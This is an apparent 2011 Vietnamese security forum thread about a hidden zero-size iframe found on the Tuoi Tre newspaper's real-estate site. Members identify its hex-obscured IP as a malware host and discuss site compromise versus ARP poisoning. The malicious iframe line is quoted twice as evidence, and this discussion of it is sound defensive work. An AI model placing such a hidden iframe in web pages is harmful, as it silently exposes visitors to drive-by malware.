Báo tuổi trẻ xài iframe này làm gì?

English | Vietnamese

Rules

Main Forum

Portal

Member Listing

Statistics

Search

Reading Room
[Register]

Login [ | https ]

Forum Index

Thảo luận virus, trojan, spyware, worm...

Báo tuổi trẻ xài iframe này làm gì?

[Question] Báo tuổi trẻ xài iframe này làm gì?	15/04/2011 07:38:38 (+0700) \| #1 \| 235488

protectHat
Member

Joined: 09/08/2008 11:02:35
Messages: 176
Location: DMZ
Offline

Sáng nay mình vào chỗ báo tuổi trẻ địa ốc coi tự nhiên thấy có báo có virus. Xem source thấy có dòng
Code:

iframe src="http://0x56378C02/25mini/irhqbujzeshod.php" width=0 height=0 frameborder=0></iframe

Mọi người xem giùm mình đó là tại máy mình hay tại báo vậy. Đoạn đó đếm gì mà mình coi không được
>

[Question] Báo tuổi trẻ xài iframe này làm gì?	17/04/2011 21:48:53 (+0700) \| #2 \| 235660

lanmc
Member

Joined: 06/10/2010 11:04:40
Messages: 30
Offline

iframe src="http://86.55.140.2/25mini/irhqbujzeshod.php" width=0 height=0 frameborder=0></iframe.
Domain này đã vào sổ đen smilie

[Question] Báo tuổi trẻ xài iframe này làm gì?	18/04/2011 06:06:08 (+0700) \| #3 \| 235672

conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline

IP 86.55.140.2 là IP của một máy chủ trùm chứa malware thuộc Romania. Từ cái php kia, nó dẫn đến một trang khác với IP cũng được obscured ở dạng decimal và IP ấy thuộc Ukraine; cũng là một nơi chứa malware.

Không biết có ai báo với tuoitre chưa vì mấy thứ này rất độc hại.

What bringing us together is stronger than what pulling us apart.

[Question] Báo tuổi trẻ xài iframe này làm gì?	18/04/2011 06:20:51 (+0700) \| #4 \| 235674

chiro8x
Member

Joined: 26/09/2010 00:38:37
Messages: 661
Location: /home/chiro8x
Offline

Như vậy phải chăng tuổi trẻ đã bị xâm nhập và có người có thể thay đổi nội dung của trang.

while(1){}

[Question] Báo tuổi trẻ xài iframe này làm gì?	18/04/2011 08:30:38 (+0700) \| #5 \| 235682

TQN
Elite Member

Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline

Không chắc, có thể máy của cậu protectHat dính virus thì sao ?

[Question] Báo tuổi trẻ xài iframe này làm gì?	18/04/2011 11:07:46 (+0700) \| #6 \| 235696

bolzano_1989
Journalist

Joined: 30/01/2007 12:49:15
Messages: 1406
Offline

TQN wrote:

Không chắc, có thể máy của cậu protectHat dính virus thì sao ?

Hôm trước, em vào trang địa ốc của Tuổi trẻ Online cũng gặp cảnh báo trên bởi Avira Antivir:
http://diaoc.tuoitre.vn/
Hôm nay vào lại thì thấy đoạn iframe đó đã được gỡ.

Kiểm tra các file bạn nghi ngờ có virus:
http://goo.gl/m3Fb6C
http://goo.gl/EqaZt
http://goo.gl/gEF8e
Nhận mẫu virus qua FB: http://goo.gl/70Xo23
HVA Malware Response Team: kiemtravirus@gmail.com
Trợ giúp diệt virus: http://goo.gl/2bqxY

[Question] Báo tuổi trẻ xài iframe này làm gì?	19/04/2011 08:29:53 (+0700) \| #7 \| 235750

protectHat
Member

Joined: 09/08/2008 11:02:35
Messages: 176
Location: DMZ
Offline

TQN wrote:

Không chắc, có thể máy của cậu protectHat dính virus thì sao ?

Em có thử cả với máy win và 1 máy Ubuntu rồi mới hỏi mà anh? Tại vì sợ lỡ như mạng bị dính virus mà nó chèn cái iframe lên đầu trang như vậy mà báo cho bên tuổi trẻ thì phiền nên em mới hỏi mọi người

PS: Hôm nay vào lại đúng là đã được gỡ ra

[Question] Báo tuổi trẻ xài iframe này làm gì?	19/04/2011 13:45:19 (+0700) \| #8 \| 235774

chube
Member

Joined: 22/10/2010 02:34:04
Messages: 105
Location: ░░▒▒▓▓██
Offline

hm....! hổng biết có ai tốt bụng báo cho tuổi trẻ nữa, dù sao cũng ổn rồi hì hì.

.-/ / )
|/ / /
/.' /
// .---.
/ .--._\ Awesome Season to hack :') Dont you think so? xD
/ `--' /
/ .---'
/ .'
/

[Question] Báo tuổi trẻ xài iframe này làm gì?	21/04/2011 08:44:27 (+0700) \| #9 \| 235903

lQ
Moderator

Joined: 29/03/2005 17:06:20
Messages: 494
Offline

protectHat wrote:

TQN wrote:

Không chắc, có thể máy của cậu protectHat dính virus thì sao ?

Em có thử cả với máy win và 1 máy Ubuntu rồi mới hỏi mà anh? Tại vì sợ lỡ như mạng bị dính virus mà nó chèn cái iframe lên đầu trang như vậy mà báo cho bên tuổi trẻ thì phiền nên em mới hỏi mọi người

PS: Hôm nay vào lại đúng là đã được gỡ ra

mình cũng từng gặp tình trạng tương tự như vầy. Có điều nguyên nhân là do 1 máy tính trong cùng mạng của mình bị nhiễm virus dạng ARP poisoning. Tất cả máy tính cùng mạng khi đó đều bị dính iframe khi vào bất kỳ website nào.

Go to:

Users currently in here
1 Anonymous